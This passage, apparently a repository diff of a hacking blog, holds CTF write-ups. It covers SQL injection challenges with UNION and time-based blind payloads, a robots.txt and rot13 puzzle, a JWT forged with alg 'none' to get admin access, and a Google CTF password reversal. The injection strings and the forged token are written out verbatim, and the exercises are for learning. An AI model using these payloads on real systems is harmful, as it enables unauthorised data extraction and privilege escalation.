|
||||
| time_zone_transition | 2-------- | 3------- |
|
||||
| user | 2-------- | 3------- |
|
||||
| help_relation | 2-------- | 3------- |
|
||||
| host | 2-------- | 3------- |
|
||||
| index_stats | 2-------- | 3------- |
|
||||
| slow_log | 2-------- | 3------- |
|
||||
| tables_priv | 2-------- | 3------- |
|
||||
| proxies_priv | 2-------- | 3------- |
|
||||
| columns_priv | 2-------- | 3------- |
|
||||
| event | 2-------- | 3------- |
|
||||
| general_log | 2-------- | 3------- |
|
||||
| innodb_index_stats | 2-------- | 3------- |
|
||||
| time_zone_transition_type | 2-------- | 3------- |
|
||||
| procs_priv | 2-------- | 3------- |
|
||||
| time_zone_leap_second | 2-------- | 3------- |
|
||||
| gtid_slave_pos | 2-------- | 3------- |
|
||||
| innodb_table_stats | 2-------- | 3------- |
|
||||
| time_zone | 2-------- | 3------- |
|
||||
| help_keyword | 2-------- | 3------- |
|
||||
| transaction_registry | 2-------- | 3------- |
|
||||
| servers | 2-------- | 3------- |
|
||||
| roles_mapping | 2-------- | 3------- |
|
||||
| proc | 2-------- | 3------- |
|
||||
| func | 2-------- | 3------- |
|
||||
| help_category | 2-------- | 3------- |
|
||||
| cond_instances | 2-------- | 3------- |
|
||||
| events_waits_current | 2-------- | 3------- |
|
||||
| events_waits_history | 2-------- | 3------- |
|
||||
| events_waits_history_long | 2-------- | 3------- |
|
||||
| events_waits_summary_by_host_by_event_name | 2-------- | 3------- |
|
||||
| events_waits_summary_by_instance | 2-------- | 3------- |
|
||||
| events_waits_summary_by_thread_by_event_name | 2-------- | 3------- |
|
||||
| events_waits_summary_by_user_by_event_name | 2-------- | 3------- |
|
||||
| events_waits_summary_by_account_by_event_name | 2-------- | 3------- |
|
||||
| events_waits_summary_global_by_event_name | 2-------- | 3------- |
|
||||
| file_instances | 2-------- | 3------- |
|
||||
| file_summary_by_event_name | 2-------- | 3------- |
|
||||
| file_summary_by_instance | 2-------- | 3------- |
|
||||
| host_cache | 2-------- | 3------- |
|
||||
| mutex_instances | 2-------- | 3------- |
|
||||
| objects_summary_global_by_type | 2-------- | 3------- |
|
||||
| performance_timers | 2-------- | 3------- |
|
||||
| rwlock_instances | 2-------- | 3------- |
|
||||
| setup_actors | 2-------- | 3------- |
|
||||
| setup_consumers | 2-------- | 3------- |
|
||||
| setup_instruments | 2-------- | 3------- |
|
||||
| setup_objects | 2-------- | 3------- |
|
||||
| setup_timers | 2-------- | 3------- |
|
||||
| table_io_waits_summary_by_index_usage | 2-------- | 3------- |
|
||||
| table_io_waits_summary_by_table | 2-------- | 3------- |
|
||||
| table_lock_waits_summary_by_table | 2-------- | 3------- |
|
||||
| threads | 2-------- | 3------- |
|
||||
| events_stages_current | 2-------- | 3------- |
|
||||
| events_stages_history | 2-------- | 3------- |
|
||||
| events_stages_history_long | 2-------- | 3------- |
|
||||
| events_stages_summary_by_thread_by_event_name | 2-------- | 3------- |
|
||||
| events_stages_summary_by_account_by_event_name | 2-------- | 3------- |
|
||||
| events_stages_summary_by_user_by_event_name | 2-------- | 3------- |
|
||||
| events_stages_summary_by_host_by_event_name | 2-------- | 3------- |
|
||||
| events_stages_summary_global_by_event_name | 2-------- | 3------- |
|
||||
| events_statements_current | 2-------- | 3------- |
|
||||
| events_statements_history | 2-------- | 3------- |
|
||||
| events_statements_history_long | 2-------- | 3------- |
|
||||
| events_statements_summary_by_thread_by_event_name | 2-------- | 3------- |
|
||||
| events_statements_summary_by_account_by_event_name | 2-------- | 3------- |
|
||||
| events_statements_summary_by_user_by_event_name | 2-------- | 3------- |
|
||||
| events_statements_summary_by_host_by_event_name | 2-------- | 3------- |
|
||||
| events_statements_summary_global_by_event_name | 2-------- | 3------- |
|
||||
| events_statements_summary_by_digest | 2-------- | 3------- |
|
||||
| users | 2-------- | 3------- |
|
||||
| accounts | 2-------- | 3------- |
|
||||
| hosts | 2-------- | 3------- |
|
||||
| socket_instances | 2-------- | 3------- |
|
||||
| socket_summary_by_instance | 2-------- | 3------- |
|
||||
| socket_summary_by_event_name | 2-------- | 3------- |
|
||||
| session_connect_attrs | 2-------- | 3------- |
|
||||
| session_account_connect_attrs | 2-------- | 3------- |
|
||||
| flags | 2-------- | 3------- |
|
||||
| secrets | 2-------- | 3------- |
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
## Solution
|
||||
|
||||
The flags table at the bottom looks interesting. Let's grab it's contents. To get it's contents, I came up with the following query:
|
||||
|
||||
```sql
|
||||
UNION SELECT (SELECT * FROM flags), 2, 3
|
||||
```
|
||||
|
||||
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 -- `.
|
||||
|
||||
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
|
||||
|
||||
\*Note: this only works if a table has only one column, if it has more, you have to get the columns first. See the [Getting the secrets]({{< ref "#getting-the-secrets" >}}) for more info about that.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#6-7).
|
||||
|
||||
_For more information about how SQL injection works, please read my [previous post]({{< ref "challenge_5.md" >}})._
|
||||
|
||||
## (Optional) Getting the secrets 😋 {#getting-the-secrets}
|
||||
|
||||
Because the `secrets` table a more than one column, we need to know the column names first. We can get them with the following query:
|
||||
|
||||
```sql
|
||||
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
|
||||
```
|
||||
|
||||
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" -- `.
|
||||
|
||||
After remove the results from the original query, we get the following:
|
||||
|
||||
| id | Description | Proof |
|
||||
| ----------- | ----------- | -------- |
|
||||
| id | 2-------- | 3------- |
|
||||
| description | 2-------- | 3------- |
|
||||
| proof | 2-------- | 3------- |
|
||||
|
||||
We can then put these column names in our query:
|
||||
|
||||
```sql
|
||||
UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets
|
||||
```
|
||||
|
||||
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
|
||||
|
||||
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets -- ` as the input.
|
||||
|
||||
After parsing the output we get:
|
||||
|
||||
| id | Description | Proof |
|
||||
| --- | ------------------------ | ------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | Access codes for Area 51 | The access code is 1234 |
|
||||
| 2 | KFC Recipe | The 10 spices are in the diary on page 658 |
|
||||
| 3 | Advent of Code | FLAG are such a good thing to find, but this is not it. I do really love that you are playing the game! Keep it up. |
|
||||
| 4 | The door | Do you know where that one door leads? It leads to the basement! |
|
||||
@@ -0,0 +1,179 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 7"
|
||||
subtitle = "Challenge 7 - AdventOfCTF"
|
||||
date = 2020-12-07T16:43:23+01:00
|
||||
description = "A writeup for challenge 7 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/9fac6046540f4972c60f458b94aacb1d.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"sql-injection",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 700
|
||||
|
||||
## Description
|
||||
|
||||
Santa has a naughty list, I wonder who is on it? I hope it is not the blind mice!
|
||||
|
||||
Visit <https://07.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
When opening the challenge website, we, yet again, see a search bar. Could this be another SQL Injection challenge? Let's try `'`. No result, bet the column name is also gone, so it probably do some SQL injection.
|
||||
|
||||
### SQL Injection
|
||||
|
||||
This time, no error message is shown. But the output is! (I'll get back to that later 😀.) First of all, let's get an idea of what the query to the database might be. I could be this:
|
||||
|
||||
```sql
|
||||
SELECT why FROM naughty WHERE why LIKE '%search text%';
|
||||
```
|
||||
|
||||
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 -- ` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 -- `. If this would be inserted inside the query we would get this:
|
||||
|
||||
```sql
|
||||
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
|
||||
```
|
||||
|
||||
If we input this (`' OR 1=1 -- `) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
|
||||
|
||||
## Part 2
|
||||
|
||||
This, however, wasn't the solution the creator ([@credmp](https://twitter.com/credmp)) had intended. So he added another challenge. The description was this:
|
||||
|
||||
> Challenge 7 had a very unintended easy solution. This was my mistake and it did not surface during playtesting. In order to make it worth your while to solve the challenge in the intended way, please enter the username of the user on the naughty list to receive some additional (possibly very important) points
|
||||
|
||||
We can, however, solve this challenge in an unintended way as well 😀.
|
||||
|
||||
### Table name
|
||||
|
||||
Let's have a look at our guessed query again:
|
||||
|
||||
```sql
|
||||
SELECT why FROM naughty WHERE why LIKE '%search text%';
|
||||
```
|
||||
|
||||
This time, we probably want to get some other columns from the database. To do this, we have to know the table name first. A query to get all tables from a MySQL database is the following:
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables --
|
||||
```
|
||||
|
||||
If we adjust this query to be injectable in the original query, we get this:
|
||||
|
||||
```text
|
||||
' UNION SELECT table_name FROM information_schema.tables --
|
||||
```
|
||||
|
||||
Which, inside the query would look like the following:
|
||||
|
||||
```sql
|
||||
SELECT why FROM naughty WHERE why LIKE '%' UNION SELECT table_name FROM information_schema.tables -- %';
|
||||
```
|
||||
|
||||
Here we use a `UNION SELECT` to add rows from another table in to the results. The result of this input contains lots of rows, but if we strip the default ones, we get are left with one row:
|
||||
|
||||
| Who? |
|
||||
| ------- |
|
||||
| naughty |
|
||||
|
||||
### Column names
|
||||
|
||||
Now that we know the table name, we can then get the columns from it with this query:
|
||||
|
||||
```sql
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
|
||||
```
|
||||
|
||||
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" -- `. This return the following rows:
|
||||
|
||||
| Who? |
|
||||
| -------- |
|
||||
| id |
|
||||
| username |
|
||||
| badthing |
|
||||
|
||||
### Table content
|
||||
|
||||
Knowing the table and column names, we can get all rows in the table. This output of the original query, however, only has one row. Because of this, we have to concatenate the results of the different columns together. A query for this would be:
|
||||
|
||||
```sql
|
||||
SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty
|
||||
```
|
||||
|
||||
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty -- `, which, after submitting it, gives us one row:
|
||||
|
||||
| Who? |
|
||||
| ------------------------------------------- |
|
||||
| 1 \| egische \| NOVI{bl1nd_sql1_is_naughty} |
|
||||
|
||||
As the username is the second column, it is "egische".
|
||||
|
||||
This flag can then be submitted [here](<https://ctfd.adventofctf.com/challenges#Challenge%207%20(additional)-26>).
|
||||
|
||||
## The actual intended solution
|
||||
|
||||
The intended way to solve this challenge was to use blind SQL injection. Which means you do not get a visual response. You might think "How is that possible without a result?". It's actually pretty easy but it takes some time. A way to do it is to make queries take a long time if the query returns a row, but not wait if the result has zero rows.
|
||||
|
||||
### Database name
|
||||
|
||||
For instance, let's say the query in the backend is the following:
|
||||
|
||||
```sql
|
||||
SELECT why FROM naughty WHERE other_column = 'search text';
|
||||
```
|
||||
|
||||
To get the database name, we could write a query that takes some time if a sub-query returns a result and doesn't if it doesn't. An example of such a query would be the following:
|
||||
|
||||
```sql
|
||||
SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
|
||||
```
|
||||
|
||||
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
|
||||
|
||||
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- `
|
||||
|
||||
If we replace `a` with another letter we can find out the database name like this:
|
||||
|
||||
```text
|
||||
a
|
||||
b
|
||||
...
|
||||
t
|
||||
ta
|
||||
...
|
||||
te
|
||||
tea
|
||||
...
|
||||
tes
|
||||
...
|
||||
testdb
|
||||
```
|
||||
|
||||
This will, of course, take some time.
|
||||
|
||||
### Other tables
|
||||
|
||||
To get the tables inside the database, the same method will have to be used. An example query for this would be the following:
|
||||
|
||||
```sql
|
||||
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
|
||||
```
|
||||
|
||||
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- `
|
||||
|
||||
By using this method, we can get the all database records but it will take a long time.
|
||||
@@ -0,0 +1,91 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 8"
|
||||
subtitle = "Challenge 8 - AdventOfCTF"
|
||||
date = 2020-12-08T09:34:24+01:00
|
||||
description = "A writeup for challenge 8 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/da781419d6bf02d0a580e48414b9cbde.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 800
|
||||
|
||||
## Description
|
||||
|
||||
If only you could figure out where to go.
|
||||
|
||||
Visit <https://08.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
When opening the website we're greeted with the following message:
|
||||
|
||||
> Did you know that the fastest robot can solve a rubiks cube in 0.887 seconds?
|
||||
|
||||
This is talking about robots, which my be a hint to look at the [`robots.txt`](https://08.adventofctf.com/robots.txt).
|
||||
|
||||
### What is a robots.txt file?
|
||||
|
||||
A `robots.txt` file lives at the root of a website. So, for the site www.example.com, a robots.txt file would live at www.example.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
|
||||
|
||||
### Opening the file
|
||||
|
||||
The file shows the following:
|
||||
|
||||
```text
|
||||
# robots.txt generated by *************.com
|
||||
User-agent: *
|
||||
Disallow: /
|
||||
Disallow: /cgi-bin/
|
||||
|
||||
Disallow: /encryption/is/a/right
|
||||
Disallow: /fnagn/unf/znal/cynprf/gb/tb
|
||||
```
|
||||
|
||||
This probably means there is some sensitive information on one of the `Disallow` locations. Let's look at them one by one.
|
||||
|
||||
**`/cgi-bin/`**
|
||||
|
||||
When opening [`/cgi-bin/`](https://08.adventofctf.com/cgi-bin/), we get a `404` error. So let's skip this one for now.
|
||||
|
||||
**`/encryption/is/a/right`**
|
||||
|
||||
Upon opening [`/encryption/is/a/right`](https://08.adventofctf.com/encryption/is/a/right/), we get some encoded string back. It looks like `base64` so let's try to decode it using `base64 -d` in the terminal:
|
||||
|
||||
```bash
|
||||
echo "RW5jb2RpbmcgYW5kIGVuY3J5cHRpb24gYXJlIDIgZGlmZmVyZW50IHRoaW5ncy4=" | base64 -d
|
||||
> Encoding and encryption are 2 different things.
|
||||
```
|
||||
|
||||
This doesn't mean a lot so let's have a look at the next one.
|
||||
|
||||
**`/fnagn/unf/znal/cynprf/gb/tb`**
|
||||
|
||||
After opening [`/fnagn/unf/znal/cynprf/gb/tb`](https://08.adventofctf.com/fnagn/unf/znal/cynprf/gb/tb/), we're greeted with the following text:
|
||||
|
||||
> "Oh, the places you'll go", my favorite poem... but this is the wrong place. Maybe you read that wrong?
|
||||
|
||||
Hmm, it says "Maybe you read that wrong?". The URL also looks kinda weird. It might be `rot13` encoded. So let's try to decode it using `rot13`:
|
||||
|
||||
```bash
|
||||
echo "/fnagn/unf/znal/cynprf/gb/tb" | rot13
|
||||
> /santa/has/many/places/to/go
|
||||
```
|
||||
|
||||
_Note: `rot13` is not a program on linux, I just programmed it as an alias for `tr 'A-Za-z' 'N-ZA-Mn-za-m'`_
|
||||
|
||||
We got new url (I hope 😀). Let's try to [access it](https://08.adventofctf.com/santa/has/many/places/to/go/). We got the flag! It is `NOVI{you_have_br@1ns_in_your_head}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#8-9).
|
||||
@@ -0,0 +1,102 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 9"
|
||||
subtitle = "Challenge 9 - AdventOfCTF"
|
||||
date = 2020-12-11T21:24:52+01:00
|
||||
description = "A writeup for challenge 9 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/973ded4b2381c28af6c24d3d670303c6.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 900
|
||||
|
||||
## Description
|
||||
|
||||
Can you find a way to get into the Naughty List Management System as an admin?
|
||||
|
||||
Visit <https://09.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
Upon opening the website, we're greeted with a login screen. When we enter random credentials, we're greeted with some text: "Hey **user** your **password** is incorrect.".
|
||||
|
||||
This took me quite some time to find out, but it's actually fairly obvious. I started by taking a look at the cookies, but there were none. Then I tried some common URLs, but nothing (except `/admin`). Then I took another look at the error message; some bold text... The username is `user` and the password is `incorrect`.
|
||||
|
||||
When entering these credentials, we get redirected to `/admin` with a message: "The naughty list is currently empty....". This time, however, we also got a cookie.
|
||||
|
||||
```text
|
||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ.rre-8SBgllKlu7KpJFXuO-SEN3s-9IPRSJ7hmclXpNs
|
||||
```
|
||||
|
||||
### JWT
|
||||
|
||||
This looks like a JWT. We can confirm this by decoding the text before the first period (`.`):
|
||||
|
||||
```bash
|
||||
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
|
||||
```
|
||||
|
||||
```json
|
||||
{ "typ": "JWT", "alg": "HS256" }
|
||||
```
|
||||
|
||||
It is a JWT that uses the HMAC-SHA256 (`HS256`) algorithm. Using a [JSON Web Token (JWT)](https://en.wikipedia.org/wiki/JSON_Web_Token) is a compact, URL-safe, way of representing claims between a web server and a client. Let's decode the second part as well.
|
||||
|
||||
```bash
|
||||
echo -n "eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ" | base64 -d
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"auth": 28961,
|
||||
"text": "I do love a good puzzle.",
|
||||
"role": "user",
|
||||
"iat": 1607717857
|
||||
}
|
||||
```
|
||||
|
||||
We don't have to decode the last part as it is a secret that consists of non-printable characters.
|
||||
|
||||
The role in the JWT probably has to be changed to `"admin"` so let's try to do that.
|
||||
|
||||
#### Modifying a JWT
|
||||
|
||||
To modify a JWT, we would have to know the secret that was used to create it. If only there were some [vulnerabilities](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) 😀.
|
||||
|
||||
In a JWT you can use `none` as the algorithm. It is intended to be used for situations where the integrity of the token has already been verified. Luckily for us, some libraries treat tokens signed with the `none` algorithm as a valid token with a verified signature. This means anyone can create their own "signed" tokens with whatever payload they want, allowing arbitrary account access on some systems.
|
||||
|
||||
To create such a JWT, we just reverse the process. Firstly, we create the first part of the token.
|
||||
|
||||
```bash
|
||||
echo -n '{"typ":"JWT","alg":"none"}' | base64
|
||||
> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
|
||||
```
|
||||
|
||||
Then the middle part:
|
||||
|
||||
```bash
|
||||
echo -n '{"auth":28961,"text":"I do love a good puzzle.","role":"admin","iat":1607717857}' | base64
|
||||
> eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30=
|
||||
```
|
||||
|
||||
And finally, the secret. We can leave this empty because we use the `none` algorithm.
|
||||
|
||||
Putting all of this together and removing the padding (`=`), we get `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30.`
|
||||
|
||||
## Solution
|
||||
|
||||
When setting the cookie to this value and reloading the page, we get the flag: `NOVI{Jw7_f@ilure_in_n0ne}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#9-10).
|
||||
@@ -0,0 +1,28 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Intro to AdventOfCTF"
|
||||
subtitle = "AdventOfCTF"
|
||||
date = 2020-12-02T17:10:12+01:00
|
||||
description = "Challenge 0 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/advent_of_ctf_coming_soon.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking"
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
So, I'm in this Discord server and somebody by the name [@credmp](https://twitter.com/credmp) thought it'd be a great idea to do an advent calendar of CTF challenges. Every day of december, up until christmas, a new challenge will open up. It starts out easy, accessible to anyone and will grow in complexity as time progresses.
|
||||
|
||||
For me, this will be a good opportunity to share some insight in these kind of challenges for people who aren't familiar with them.
|
||||
|
||||
To get an overview of all my writeups for this CTF, go [here](/tags/adventofctf/).
|
||||
|
||||
## What is a CTF?
|
||||
|
||||
CTF stand for Capture The Flag, it's a kind of information security competition that challenges participants to solve a variety of puzzles. The challenges range from a scavenger hunt on wikipedia to basic programming exercises, to hacking your way into a server to steal data. In these challenges, you are usually asked to find a specific piece of text that may be hidden on the server or behind a webpage. This text is called a flag, hence the name "Capture The Flag".
|
||||
@@ -0,0 +1,101 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Novosibirsk Chemical plant"
|
||||
subtitle = "Beginners Quest 1 - Google CTF"
|
||||
date = 2021-09-22T14:26:25+01:00
|
||||
description = "A writeup for challenge 1 of the beginners quests of the Google CTF."
|
||||
cover = "img/writeups/google-ctf/2021/beginners-quest/1/cover.png"
|
||||
tags = [
|
||||
"Google CTF",
|
||||
"Beginners Quest",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
## Story line
|
||||
|
||||
You have now investigated the chemical plant. Nothing seemed to be out of the ordinary, even though the workers acted somewhat passive, but that’s not a good enough to track. It seems like you have a new voice mail from the boss: "Hello there, AGENT! It seems like the corporation that owns the plant was informed by an anonymous source that you would arrive, and therefore they were prepared for your visit, but your colleague AGENT X has a lead in Moscow, we’ve already booked you a flight. FIRST CLASS of course. In fact if you look out of the window, you should be able to see a black car arriving now, and it will carry you to the airport. Good luck!"
|
||||
|
||||
### Link
|
||||
|
||||
<https://cctv-web.2021.ctfcompetition.com/>
|
||||
|
||||
## Recon
|
||||
|
||||
Upon opening the given link, we see a website with a password form.
|
||||
|
||||
When opening the source, we find the following javascript:
|
||||
|
||||
```js
|
||||
const checkPassword = () => {
|
||||
const v = document.getElementById("password").value;
|
||||
const p = Array.from(v).map((a) => 0xcafe + a.charCodeAt(0));
|
||||
|
||||
if (
|
||||
p[0] === 52037 &&
|
||||
p[6] === 52081 &&
|
||||
p[5] === 52063 &&
|
||||
p[1] === 52077 &&
|
||||
p[9] === 52077 &&
|
||||
p[10] === 52080 &&
|
||||
p[4] === 52046 &&
|
||||
p[3] === 52066 &&
|
||||
p[8] === 52085 &&
|
||||
p[7] === 52081 &&
|
||||
p[2] === 52077 &&
|
||||
p[11] === 52066
|
||||
) {
|
||||
window.location.replace(v + ".html");
|
||||
} else {
|
||||
alert("Wrong password!");
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
## Solving
|
||||
|
||||
Let's start by analysing this script. It starts of by getting the input value, and splitting it in a list. It then uses the `map()` function to add `0xCafe` to every character. So "a" would become `97 + 51966 = 52063` (`97` is the ASCII value of `"a"`, and `51966` is decimal for `0xCafe`).
|
||||
|
||||
To find the password, we only have to reverse the values given in the javascript code. To do this, I wrote a little python script:
|
||||
|
||||
```py
|
||||
code = {
|
||||
0: 52037,
|
||||
6: 52081,
|
||||
5: 52063,
|
||||
1: 52077,
|
||||
9: 52077,
|
||||
10: 52080,
|
||||
4: 52046,
|
||||
3: 52066,
|
||||
8: 52085,
|
||||
7: 52081,
|
||||
2: 52077,
|
||||
11: 52066,
|
||||
}
|
||||
|
||||
password = ""
|
||||
|
||||
for i in range(max(code.keys()) + 1):
|
||||
password += chr(code[i] - 0xCafe)
|
||||
|
||||
print(password)
|
||||
```
|
||||
|
||||
This prints the following result: `GoodPassword`.
|
||||
|
||||
## Solution
|
||||
|
||||
If we enter the password (`GoodPassword`), we get redirected to this page:
|
||||
|
||||
{{< figure src="/img/writeups/google-ctf/2021/beginners-quest/1/cctv.png" title="CCTV" >}}
|
||||
|
||||
Here we can find the flag in the bottom left.
|
||||
Reference in New Issue
Block a user